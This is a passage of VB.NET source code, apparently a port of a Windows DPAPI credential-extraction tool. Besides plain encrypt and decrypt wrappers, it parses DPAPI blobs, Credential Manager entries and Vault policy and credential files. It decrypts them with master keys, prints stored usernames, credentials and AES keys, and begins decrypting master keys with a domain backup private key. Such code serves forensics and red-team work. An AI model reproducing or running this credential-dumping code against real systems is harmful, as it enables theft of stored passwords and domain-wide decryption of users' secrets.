        Dim plainTextBlob As DATA_BLOB = New DATA_BLOB
        Dim cipherTextBlob As DATA_BLOB = New DATA_BLOB
        Dim entropyBlob As DATA_BLOB = New DATA_BLOB
        ' We only need prompt structure because it is a required
        ' parameter.
        Dim prompt As _
                CRYPTPROTECT_PROMPTSTRUCT = New CRYPTPROTECT_PROMPTSTRUCT
        InitPrompt(prompt)
        Try
            ' Convert plaintext bytes into a BLOB structure.
            Try
                InitBLOB(plainTextBytes, plainTextBlob)
            Catch ex As Exception
                Throw New Exception("Cannot initialize plaintext BLOB.", ex)
            End Try
            ' Convert entropy bytes into a BLOB structure.
            Try
                InitBLOB(entropyBytes, entropyBlob)
            Catch ex As Exception
                Throw New Exception("Cannot initialize entropy BLOB.", ex)
            End Try
            ' Disable any types of UI.
            Dim flags As Integer = CRYPTPROTECT_UI_FORBIDDEN
            ' When using machine-specific key, set up machine flag.
            If keyType = KeyType.MachineKey Then
                flags = flags Or (CRYPTPROTECT_LOCAL_MACHINE)
            End If
            ' Call DPAPI to encrypt data.
            Dim success As Boolean = CryptProtectData(
                                            plainTextBlob,
                                            description,
                                            entropyBlob,
                                            IntPtr.Zero,
                                            prompt,
                                            flags,
                                            cipherTextBlob)
            ' Check the result.
            If Not success Then
                ' If operation failed, retrieve last Win32 error.
                Dim errCode As Integer = Marshal.GetLastWin32Error()
                ' Win32Exception will contain error message corresponding
                ' to the Windows error code.
                Throw New Exception("CryptProtectData failed.",
                                New Win32Exception(errCode))
            End If
            ' Allocate memory to hold ciphertext.
            Dim cipherTextBytes(cipherTextBlob.cbData - 1) As Byte
            ' Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(cipherTextBlob.pbData, cipherTextBytes, 0,
                            cipherTextBlob.cbData)
            ' Return the result.
            Return cipherTextBytes
        Catch ex As Exception
            Throw New Exception("DPAPI was unable to encrypt data.", ex)
        Finally
            If Not (plainTextBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(plainTextBlob.pbData)
            End If
            If Not (cipherTextBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(cipherTextBlob.pbData)
            End If
            If Not (entropyBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(entropyBlob.pbData)
            End If
        End Try
    End Function
    ' &lt;summary&gt;
    ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
    ' This function does not use additional entropy and does not
    ' return data description.
    ' &lt;/summary&gt;
    ' &lt;param name="cipherText"&gt;
    ' Encrypted data formatted as a base64-encoded string.
    ' &lt;/param&gt;
    ' &lt;returns&gt;
    ' Decrypted data returned as a UTF-8 string.
    ' &lt;/returns&gt;
    ' &lt;remarks&gt;
    ' When decrypting data, it is not necessary to specify which
    ' type of encryption key to use: user-specific or
    ' machine-specific; DPAPI will figure it out by looking at
    ' the signature of encrypted data.
    ' &lt;/remarks&gt;
    Public Shared Function Decrypt _
    (
        ByVal cipherText As String
    ) As String
        Dim description As String
        Return Decrypt(cipherText, String.Empty, description)
    End Function
    ' &lt;summary&gt;
    ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
    ' This function does not use additional entropy.
    ' &lt;/summary&gt;
    ' &lt;param name="cipherText"&gt;
    ' Encrypted data formatted as a base64-encoded string.
    ' &lt;/param&gt;
    ' &lt;param name="description"&gt;
    ' Returned description of data specified during encryption.
    ' &lt;/param&gt;
    ' &lt;returns&gt;
    ' Decrypted data returned as a UTF-8 string.
    ' &lt;/returns&gt;
    ' &lt;remarks&gt;
    ' When decrypting data, it is not necessary to specify which
    ' type of encryption key to use: user-specific or
    ' machine-specific; DPAPI will figure it out by looking at
    ' the signature of encrypted data.
    ' &lt;/remarks&gt;
    Public Shared Function Decrypt _
    (
        ByVal cipherText As String,
        ByRef description As String
    ) As String
        Return Decrypt(cipherText, String.Empty, description)
    End Function
    ' &lt;summary&gt;
    ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
    ' &lt;/summary&gt;
    ' &lt;param name="cipherText"&gt;
    ' Encrypted data formatted as a base64-encoded string.
    ' &lt;/param&gt;
    ' &lt;param name="entropy"&gt;
    ' Optional entropy, which is required if it was specified during
    ' encryption.
    ' &lt;/param&gt;
    ' &lt;param name="description"&gt;
    ' Returned description of data specified during encryption.
    ' &lt;/param&gt;
    ' &lt;returns&gt;
    ' Decrypted data returned as a UTF-8 string.
    ' &lt;/returns&gt;
    ' &lt;remarks&gt;
    ' When decrypting data, it is not necessary to specify which
    ' type of encryption key to use: user-specific or
    ' machine-specific; DPAPI will figure it out by looking at
    ' the signature of encrypted data.
    ' &lt;/remarks&gt;
    Public Shared Function Decrypt _
    (
        ByVal cipherText As String,
        ByVal entropy As String,
        ByRef description As String
    ) As String
        ' Make sure that parameters are valid.
        If entropy Is Nothing Then
            entropy = String.Empty
        End If
        Return Encoding.UTF8.GetString(
            Decrypt(Convert.FromBase64String(cipherText),
                    Encoding.UTF8.GetBytes(entropy), description))
    End Function
    ' &lt;summary&gt;
    ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
    ' &lt;/summary&gt;
    ' &lt;param name="cipherTextBytes"&gt;
    ' Encrypted data.
    ' &lt;/param&gt;
    ' &lt;param name="entropyBytes"&gt;
    ' Optional entropy, which is required if it was specified during
    ' encryption.
    ' &lt;/param&gt;
    ' &lt;param name="description"&gt;
    ' Returned description of data specified during encryption.
    ' &lt;/param&gt;
    ' &lt;returns&gt;
    ' Decrypted data bytes.
    ' &lt;/returns&gt;
    ' &lt;remarks&gt;
    ' When decrypting data, it is not necessary to specify which
    ' type of encryption key to use: user-specific or
    ' machine-specific; DPAPI will figure it out by looking at
    ' the signature of encrypted data.
    ' &lt;/remarks&gt;
    Public Shared Function Decrypt _
    (
        ByVal cipherTextBytes As Byte(),
        ByVal entropyBytes As Byte(),
        ByRef description As String
    ) As Byte()
        ' Create BLOBs to hold data.
        Dim plainTextBlob As DATA_BLOB = New DATA_BLOB
        Dim cipherTextBlob As DATA_BLOB = New DATA_BLOB
        Dim entropyBlob As DATA_BLOB = New DATA_BLOB
        ' We only need prompt structure because it is a required
        ' parameter.
        Dim prompt As _
                CRYPTPROTECT_PROMPTSTRUCT = New CRYPTPROTECT_PROMPTSTRUCT
        InitPrompt(prompt)
        ' Initialize description string.
        description = String.Empty
        Try
            ' Convert ciphertext bytes into a BLOB structure.
            Try
                InitBLOB(cipherTextBytes, cipherTextBlob)
            Catch ex As Exception
                Throw New Exception("Cannot initialize ciphertext BLOB.", ex)
            End Try
            ' Convert entropy bytes into a BLOB structure.
            Try
                InitBLOB(entropyBytes, entropyBlob)
            Catch ex As Exception
                Throw New Exception("Cannot initialize entropy BLOB.", ex)
            End Try
            ' Disable any types of UI. CryptUnprotectData does not
            ' mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
            ' supported flags so we will not set it up.
            Dim flags As Integer = CRYPTPROTECT_UI_FORBIDDEN
            ' Call DPAPI to decrypt data.
            Dim success As Boolean = CryptUnprotectData(
                                            cipherTextBlob,
                                            description,
                                            entropyBlob,
                                            IntPtr.Zero,
                                            prompt,
                                            flags,
                                            plainTextBlob)
            ' Check the result.
            If Not success Then
                ' If operation failed, retrieve last Win32 error.
                Dim errCode As Integer = Marshal.GetLastWin32Error()
                ' Win32Exception will contain error message corresponding
                ' to the Windows error code.
                Throw New Exception("CryptUnprotectData failed.",
                            New Win32Exception(errCode))
            End If
            ' Allocate memory to hold plaintext.
            Dim plainTextBytes(plainTextBlob.cbData - 1) As Byte
            ' Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(plainTextBlob.pbData, plainTextBytes, 0,
                            plainTextBlob.cbData)
            ' Return the result.
            Return plainTextBytes
        Catch ex As Exception
            Throw New Exception("DPAPI was unable to decrypt data.", ex)
            ' Free all memory allocated for BLOBs.
        Finally
            If Not (plainTextBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(plainTextBlob.pbData)
            End If
            If Not (cipherTextBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(cipherTextBlob.pbData)
            End If
            If Not (entropyBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(entropyBlob.pbData)
            End If
        End Try
    End Function
    Public Enum DataProtectionScope
        CurrentUser = 0
        LocalMachine = 1
    End Enum
    Public Shared Function DescribeDPAPIBlob(ByVal blobBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional blobType As String = "credential", ByVal Optional unprotect As Boolean = False) As Byte()
        Dim offset As Integer = 0
        If blobType.Equals("credential") Then
            offset = 36
        ElseIf blobType.Equals("policy") Then
            offset = 24
        ElseIf blobType.Equals("blob") Then
            offset = 24
        ElseIf blobType.Equals("rdg") Then
            offset = 24
        Else
            Console.WriteLine("[X] Unsupported blob type: {0}", blobType)
            Return New Byte(-1) {}
        End If
        Dim guidMasterKeyBytes As Byte() = New Byte(15) {}
        Array.Copy(blobBytes, offset, guidMasterKeyBytes, 0, 16)
        Dim guidMasterKey As Guid = New Guid(guidMasterKeyBytes)
        Dim guidString As String = String.Format("{{{0}}}", guidMasterKey)
        If Not blobType.Equals("rdg") Then
            Console.WriteLine("    guidMasterKey    : {0}", guidString)
        End If
        offset += 16
        If Not blobType.Equals("rdg") Then
            Console.WriteLine("    size             : {0}", blobBytes.Length)
        End If
        Dim flags As UInt32 = BitConverter.ToUInt32(blobBytes, offset)
        offset += 4
        If Not blobType.Equals("rdg") Then
            Console.Write("    flags            : 0x{0}", flags.ToString("X"))
            If (flags &lt;&gt; 0) AndAlso ((flags And &amp;H20000000) = flags) Then
                Console.Write(" (CRYPTPROTECT_SYSTEM)")
            End If
            Console.WriteLine()
        End If
        Dim descLength As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim description As String = Encoding.Unicode.GetString(blobBytes, offset, descLength)
        offset += descLength
        Dim algCrypt As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim algCryptLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim saltLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim saltBytes As Byte() = New Byte(saltLen - 1) {}
        Array.Copy(blobBytes, offset, saltBytes, 0, saltLen)
        offset += saltLen
        Dim hmacKeyLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4 + hmacKeyLen
        Dim algHash As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        If Not blobType.Equals("rdg") Then
            Console.WriteLine("    algHash/algCrypt : {0} ({1}) / {2} ({3})", algHash, CType(algHash, Interop.CryptAlg), algCrypt, CType(algCrypt, Interop.CryptAlg))
            Console.WriteLine("    description      : {0}", description)
        End If
        Dim algHashLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim hmac2KeyLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4 + hmac2KeyLen
        Dim dataLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim dataBytes As Byte() = New Byte(dataLen - 1) {}
        Array.Copy(blobBytes, offset, dataBytes, 0, dataLen)
        Console.WriteLine("    hmac2KeyLen : {0}", hmac2KeyLen)
        Console.WriteLine("    dataLen      : {0}", dataLen)
        Console.WriteLine("    dataBytes            : 0x{0}", BitConverter.ToString(dataBytes))
        If (blobType.Equals("rdg") OrElse blobType.Equals("blob")) AndAlso unprotect Then
            Dim entropy As Byte() = New Byte(-1) {}
            Try
                Dim decBytes As Byte() = ProtectedData.Unprotect(blobBytes, entropy, DataProtectionScope.CurrentUser)
                Return decBytes
            Catch
                Return Encoding.Unicode.GetBytes(String.Format("MasterKey needed - {0}", guidString))
            End Try
        ElseIf MasterKeys.ContainsKey(guidString) Then
            If algHash = 32782 Then
                Try
                    Dim keyBytes As Byte() = Helpers.StringToByteArray(MasterKeys(guidString).ToString())
                    Dim derivedKeyBytes As Byte() = Crypto.DeriveKey(keyBytes, saltBytes, algHash)
                    Dim finalKeyBytes As Byte() = New Byte(algCryptLen / 8 - 1) {}
                    Array.Copy(derivedKeyBytes, finalKeyBytes, CInt(algCryptLen / 8))
                    Return Crypto.DecryptBlob(dataBytes, finalKeyBytes, algCrypt)
                Catch
                    Console.WriteLine("    [X] Error retrieving GUID:SHA1 from cache {0}", guidString)
                End Try
            ElseIf algHash = 32772 Then
                Try
                    Dim keyBytes As Byte() = Helpers.StringToByteArray(MasterKeys(guidString).ToString())
                    Dim derivedKeyBytes As Byte() = Crypto.DeriveKey(keyBytes, saltBytes, algHash)
                    Dim finalKeyBytes As Byte() = New Byte(algCryptLen / 8 - 1) {}
                    Array.Copy(derivedKeyBytes, finalKeyBytes, CInt(algCryptLen / 8))
                    Return Crypto.DecryptBlob(dataBytes, finalKeyBytes, algCrypt)
                Catch
                    Console.WriteLine("    [X] Error retrieving GUID:SHA1 from cache {0}", guidString)
                End Try
            Else
                Console.WriteLine("    [X] Only sha1 and sha256 are currently supported for the hash algorithm. Alg '{0}' ({1}) not supported", algHash, CType(algHash, Interop.CryptAlg))
            End If
        Else
            If blobType.Equals("rdg") Then
                Return Encoding.Unicode.GetBytes(String.Format("MasterKey needed - {0}", guidString))
            Else
                Console.WriteLine("    [X] MasterKey GUID not in cache: {0}", guidString)
            End If
        End If
        If Not blobType.Equals("rdg") Then
            Console.WriteLine()
        End If
        Return New Byte(-1) {}
    End Function
    Public Shared Function DescribePolicy(ByVal policyBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String)) As ArrayList
        Dim offset As Integer = 0
        Dim version As Integer = BitConverter.ToInt32(policyBytes, offset)
        offset += 4
        Dim vaultIDbytes As Byte() = New Byte(15) {}
        Array.Copy(policyBytes, offset, vaultIDbytes, 0, 16)
        Dim vaultID As Guid = New Guid(vaultIDbytes)
        offset += 16
        Console.WriteLine(vbCrLf &amp; "  VaultID            : {0}", vaultID)
        Dim nameLen As Integer = BitConverter.ToInt32(policyBytes, offset)
        offset += 4
        Dim name As String = Encoding.Unicode.GetString(policyBytes, offset, nameLen)
        offset += nameLen
        Console.WriteLine("  Name               : {0}", name)
        offset += 12
        Dim keyLen As Integer = BitConverter.ToInt32(policyBytes, offset)
        offset += 4
        offset += 32
        Dim keyBlobLen As Integer = BitConverter.ToInt32(policyBytes, offset)
        offset += 4
        Dim blobBytes As Byte() = New Byte(keyBlobLen - 1) {}
        Array.Copy(policyBytes, offset, blobBytes, 0, keyBlobLen)
        Dim plaintextBytes As Byte() = DescribeDPAPIBlob(blobBytes, MasterKeys, "policy")
        If plaintextBytes.Length &gt; 0 Then
            Dim keys As ArrayList = ParseDecPolicyBlob(plaintextBytes)
            If keys.Count = 2 Then
                Dim aes128KeyStr As String = BitConverter.ToString(CType(keys(0), Byte())).Replace("-", "")
                Console.WriteLine("    aes128 key       : {0}", aes128KeyStr)
                Dim aes256KeyStr As String = BitConverter.ToString(CType(keys(1), Byte())).Replace("-", "")
                Console.WriteLine("    aes256 key       : {0}", aes256KeyStr)
                Return keys
            Else
                Console.WriteLine("    [X] Error parsing decrypted Policy.vpol (AES keys not extracted)")
                Return New ArrayList()
            End If
        Else
            Return New ArrayList()
        End If
    End Function
    Public Shared Sub DescribeVaultCred(ByVal vaultBytes As Byte(), ByVal AESKeys As ArrayList)
        Dim aes128key As Byte() = CType(AESKeys(0), Byte())
        Dim aes256key As Byte() = CType(AESKeys(1), Byte())
        Dim offset As Integer = 0
        Dim finalAttributeOffset As Integer = 0
        offset += 16
        Dim unk0 As Integer = BitConverter.ToInt32(vaultBytes, offset)
        offset += 4
        Dim lastWritten As Long = CLng(BitConverter.ToInt64(vaultBytes, offset))
        offset += 8
        Dim lastWrittenTime As System.DateTime = System.DateTime.FromFileTime(lastWritten)
        Console.WriteLine(vbCrLf &amp; "    LastWritten      : {0}", lastWrittenTime)
        offset += 8
        Dim friendlyNameLen As Integer = BitConverter.ToInt32(vaultBytes, offset)
        offset += 4
        Dim friendlyName As String = Encoding.Unicode.GetString(vaultBytes, offset, friendlyNameLen)
        offset += friendlyNameLen
        Console.WriteLine("    FriendlyName     : {0}", friendlyName)
        Dim attributeMapLen As Integer = BitConverter.ToInt32(vaultBytes, offset)
        offset += 4
        Dim numberOfAttributes As Integer = attributeMapLen / 12
        Dim attributeMap As Dictionary(Of Integer, Integer) = New Dictionary(Of Integer, Integer)()
        For i As Integer = 0 To numberOfAttributes - 1
            Dim attributeNum As Integer = BitConverter.ToInt32(vaultBytes, offset)
            offset += 4
            Dim attributeOffset As Integer = BitConverter.ToInt32(vaultBytes, offset)
            offset += 8
            attributeMap.Add(attributeNum, attributeOffset)
        Next
        Dim leftover As Byte() = New Byte(vaultBytes.Length - 222 - 1) {}
        Array.Copy(vaultBytes, 222, leftover, 0, leftover.Length)
        For Each attribute As KeyValuePair(Of Integer, Integer) In attributeMap
            Dim attributeOffset As Integer = attribute.Value
            attributeOffset += 16
            If attribute.Key &gt;= 100 Then
                attributeOffset += 4
            End If
            Dim dataLen As Integer = BitConverter.ToInt32(vaultBytes, attributeOffset)
            attributeOffset += 4
            finalAttributeOffset = attributeOffset
            If dataLen &gt; 0 Then
                Dim IVPresent As Boolean = BitConverter.ToBoolean(vaultBytes, attributeOffset)
                attributeOffset += 1
                If Not IVPresent Then
                    Dim dataBytes As Byte() = New Byte(dataLen - 1 - 1) {}
                    Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1)
                    finalAttributeOffset = attributeOffset + dataLen - 1
                    Dim decBytes As Byte() = Crypto.AESDecrypt(aes128key, New Byte(-1) {}, dataBytes)
                Else
                    Dim IVLen As Integer = BitConverter.ToInt32(vaultBytes, attributeOffset)
                    attributeOffset += 4
                    Dim IVBytes As Byte() = New Byte(IVLen - 1) {}
                    Array.Copy(vaultBytes, attributeOffset, IVBytes, 0, IVLen)
                    attributeOffset += IVLen
                    Dim dataBytes As Byte() = New Byte(dataLen - 1 - 4 - IVLen - 1) {}
                    Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1 - 4 - IVLen)
                    attributeOffset += dataLen - 1 - 4 - IVLen
                    finalAttributeOffset = attributeOffset
                    Dim decBytes As Byte() = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes)
                    DescribeVaultItem(decBytes)
                End If
            End If
        Next
        If (numberOfAttributes &gt; 0) AndAlso (unk0 &lt; 4) Then
            Dim clearOffset As Integer = finalAttributeOffset - 2
            Dim clearBytes As Byte() = New Byte(vaultBytes.Length - clearOffset - 1) {}
            Array.Copy(vaultBytes, clearOffset, clearBytes, 0, clearBytes.Length)
            Dim cleatOffSet2 As Integer = 0
            cleatOffSet2 += 4
            Dim dataLen As Integer = BitConverter.ToInt32(clearBytes, cleatOffSet2)
            cleatOffSet2 += 4
            If dataLen &gt; 2000 Then
                Console.WriteLine("    [*] Vault credential clear attribute is &gt; 2000 bytes, skipping...")
            ElseIf dataLen &gt; 0 Then
                Dim IVPresent As Boolean = BitConverter.ToBoolean(vaultBytes, cleatOffSet2)
                cleatOffSet2 += 1
                If Not IVPresent Then
                    Dim dataBytes As Byte() = New Byte(dataLen - 1 - 1) {}
                    Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1)
                    Dim decBytes As Byte() = Crypto.AESDecrypt(aes128key, New Byte(-1) {}, dataBytes)
                Else
                    Dim IVLen As Integer = BitConverter.ToInt32(clearBytes, cleatOffSet2)
                    cleatOffSet2 += 4
                    Dim IVBytes As Byte() = New Byte(IVLen - 1) {}
                    Array.Copy(clearBytes, cleatOffSet2, IVBytes, 0, IVLen)
                    cleatOffSet2 += IVLen
                    Dim dataBytes As Byte() = New Byte(dataLen - 1 - 4 - IVLen - 1) {}
                    Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1 - 4 - IVLen)
                    cleatOffSet2 += dataLen - 1 - 4 - IVLen
                    finalAttributeOffset = cleatOffSet2
                    Dim decBytes As Byte() = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes)
                    DescribeVaultItem(decBytes)
                End If
            End If
        End If
    End Sub
    Public Shared Sub DescribeVaultItem(ByVal vaultItemBytes As Byte())
        Dim offset As Integer = 0
        Dim version As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
        offset += 4
        Dim count As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
        offset += 4
        offset += 4
        For i As Integer = 0 To count - 1
            Dim id As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
            offset += 4
            Dim size As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
            offset += 4
            Dim entryString As String = Encoding.Unicode.GetString(vaultItemBytes, offset, size)
            Dim entryData As Byte() = New Byte(size - 1) {}
            Array.Copy(vaultItemBytes, offset, entryData, 0, size)
            offset += size
            Select Case id
                Case 1
                    Console.WriteLine("    Resource         : {0}", entryString)
                Case 2
                    Console.WriteLine("    Identity         : {0}", entryString)
                Case 3
                    Console.WriteLine("    Authenticator    : {0}", entryString)
                Case Else
                    If Helpers.IsUnicode(entryData) Then
                        Console.WriteLine("    Property {0}     : {1}", id, entryString)
                    Else
                        Dim entryDataString As String = BitConverter.ToString(entryData).Replace("-", " ")
                        Console.WriteLine("    Property {0}     : {1}", id, entryDataString)
                    End If
            End Select
        Next
    End Sub
    Public Shared Sub DescribeCredential(ByVal credentialBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String))
        Dim plaintextBytes As Byte() = DescribeDPAPIBlob(credentialBytes, MasterKeys, "credential")
        If plaintextBytes.Length &gt; 0 Then
            ParseDecCredBlob(plaintextBytes)
        End If
    End Sub
    Public Shared Sub ParseDecCredBlob(ByVal decBlobBytes As Byte())
        Dim offset As Integer = 0
        Dim credFlags As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim credSize As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim credUnk0 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim type As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim flags As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim lastWritten As Long = CLng(BitConverter.ToInt64(decBlobBytes, offset))
        offset += 8
        Dim lastWrittenTime As System.DateTime = System.DateTime.FromFileTime(lastWritten)
        Console.WriteLine("    LastWritten      : {0}", lastWrittenTime)
        Dim unkFlagsOrSize As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim persist As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim attributeCount As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim unk0 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim unk1 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim targetNameLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim targetName As String = Encoding.Unicode.GetString(decBlobBytes, offset, targetNameLen)
        offset += targetNameLen
        Console.WriteLine("    TargetName       : {0}", targetName)
        Dim targetAliasLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim targetAlias As String = Encoding.Unicode.GetString(decBlobBytes, offset, targetAliasLen)
        offset += targetAliasLen
        Console.WriteLine("    TargetAlias      : {0}", targetAlias)
        Dim commentLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim comment As String = Encoding.Unicode.GetString(decBlobBytes, offset, commentLen)
        offset += commentLen
        Console.WriteLine("    Comment          : {0}", comment)
        Dim unkDataLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim unkData As String = Encoding.Unicode.GetString(decBlobBytes, offset, unkDataLen)
        offset += unkDataLen
        Dim userNameLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim userName As String = Encoding.Unicode.GetString(decBlobBytes, offset, userNameLen)
        offset += userNameLen
        Console.WriteLine("    UserName         : {0}", userName)
        Dim credBlobLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim credBlobBytes As Byte() = New Byte(credBlobLen - 1) {}
        Array.Copy(decBlobBytes, offset, credBlobBytes, 0, credBlobLen)
        offset += credBlobLen
        If Helpers.IsUnicode(credBlobBytes) Then
            Dim credBlob As String = Encoding.Unicode.GetString(credBlobBytes)
            Console.WriteLine("    Credential       : {0}", credBlob)
        Else
            Dim credBlobByteString As String = BitConverter.ToString(credBlobBytes).Replace("-", " ")
            Console.WriteLine("    Credential       : {0}", credBlobByteString)
        End If
    End Sub
    Public Shared Function ParseDecPolicyBlob(ByVal decBlobBytes As Byte()) As ArrayList
        Dim keys As ArrayList = New ArrayList()
        Dim s As String = Encoding.ASCII.GetString(decBlobBytes, 12, 4)
        If s.Equals("KDBM") Then
            Dim offset As Integer = 20
            Dim aes128len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
            offset += 4
            If aes128len &lt;&gt; 16 Then
                Console.WriteLine("    [X] Error parsing decrypted Policy.vpol (aes128len != 16)")
                Return keys
            End If
            Dim aes128Key As Byte() = New Byte(aes128len - 1) {}
            Array.Copy(decBlobBytes, offset, aes128Key, 0, aes128len)
            offset += aes128len
            Dim aes128KeyStr As String = BitConverter.ToString(aes128Key).Replace("-", "")
            offset += 20
            Dim aes256len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
            offset += 4
            If aes256len &lt;&gt; 32 Then
                Console.WriteLine("    [X] Error parsing decrypted Policy.vpol (aes256len != 32)")
                Return keys
            End If
            Dim aes256Key As Byte() = New Byte(aes256len - 1) {}
            Array.Copy(decBlobBytes, offset, aes256Key, 0, aes256len)
            Dim aes256KeyStr As String = BitConverter.ToString(aes256Key).Replace("-", "")
            keys.Add(aes128Key)
            keys.Add(aes256Key)
        Else
            Dim offset As Integer = 16
            Dim s2 As String = Encoding.ASCII.GetString(decBlobBytes, offset, 4)
            offset += 4
            If s2.Equals("KSSM") Then
                offset += 16
                Dim aes128len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
                offset += 4
                If aes128len &lt;&gt; 16 Then
                    Console.WriteLine("    [X] Error parsing decrypted Policy.vpol (aes128len != 16)")
                    Return keys
                End If
                Dim aes128Key As Byte() = New Byte(aes128len - 1) {}
                Array.Copy(decBlobBytes, offset, aes128Key, 0, aes128len)
                offset += aes128len
                Dim aes128KeyStr As String = BitConverter.ToString(aes128Key).Replace("-", "")
                Dim pattern As Byte() = New Byte(11) {&amp;H4B, &amp;H53, &amp;H53, &amp;H4D, &amp;H2, &amp;H0, &amp;H1, &amp;H0, &amp;H1, &amp;H0, &amp;H0, &amp;H0}
                Dim index As Integer = Helpers.ArrayIndexOf(decBlobBytes, pattern, offset)
                If index &lt;&gt; -1 Then
                    offset = index
                    offset += 20
                    Dim aes256len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
                    offset += 4
                    If aes256len &lt;&gt; 32 Then
                        Console.WriteLine("    [X] Error parsing decrypted Policy.vpol (aes256len != 32)")
                        Return keys
                    End If
                    Dim aes256Key As Byte() = New Byte(aes256len - 1) {}
                    Array.Copy(decBlobBytes, offset, aes256Key, 0, aes256len)
                    Dim aes256KeyStr As String = BitConverter.ToString(aes256Key).Replace("-", "")
                    keys.Add(aes128Key)
                    keys.Add(aes256Key)
                Else
                    Console.WriteLine("[X] Error in decrypting Policy.vpol: second MSSK header not found!")
                End If
            End If
        End If
        Return keys
    End Function
    Public Shared Function GetDomainKey(ByVal masterKeyBytes As Byte()) As Byte()
        Dim offset As Integer = 96
        Dim masterKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
        offset += 8
        Dim backupKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
        offset += 8
        Dim credHistLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
        offset += 8
        Dim domainKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
        offset += 8
        offset += CInt((masterKeyLen + backupKeyLen + credHistLen))
        Dim domainKeyBytes As Byte() = New Byte(domainKeyLen - 1) {}
        Array.Copy(masterKeyBytes, offset, domainKeyBytes, 0, domainKeyLen)
        Return domainKeyBytes
    End Function
    Public Shared Function GetMasterKey(ByVal masterKeyBytes As Byte()) As Byte()
        Dim offset As Integer = 96
        Dim masterKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
        offset += 4 * 8
        Dim masterKeySubBytes As Byte() = New Byte(masterKeyLen - 1) {}
        Array.Copy(masterKeyBytes, offset, masterKeySubBytes, 0, masterKeyLen)
        Return masterKeySubBytes
    End Function
    Public Shared Function DecryptMasterKey(ByVal masterKeyBytes As Byte(), ByVal backupKeyBytes As Byte()) As Dictionary(Of String, String)
        Dim mapping As Dictionary(Of String, String) = New Dictionary(Of String, String)()
        Try
            Dim guidMasterKey As String = String.Format("{{{0}}}", Encoding.Unicode.GetString(masterKeyBytes, 12, 72))
            Dim offset As Integer = 4
            Dim domainKeyBytes As Byte() = GetDomainKey(masterKeyBytes)
            Dim secretLen As Integer = BitConverter.ToInt32(domainKeyBytes, offset)
            offset += 4
            Dim accesscheckLen As Integer = BitConverter.ToInt32(domainKeyBytes, offset)
            offset += 4
            offset += 16
            Dim secretBytes As Byte() = New Byte(secretLen - 1) {}
            Array.Copy(domainKeyBytes, offset, secretBytes, 0, secretLen)
            offset += secretLen
            Dim accesscheckBytes As Byte() = New Byte(accesscheckLen - 1) {}
            Array.Copy(domainKeyBytes, offset, accesscheckBytes, 0, accesscheckLen)
            Dim rsaPriv As Byte() = New Byte(backupKeyBytes.Length - 24 - 1) {}
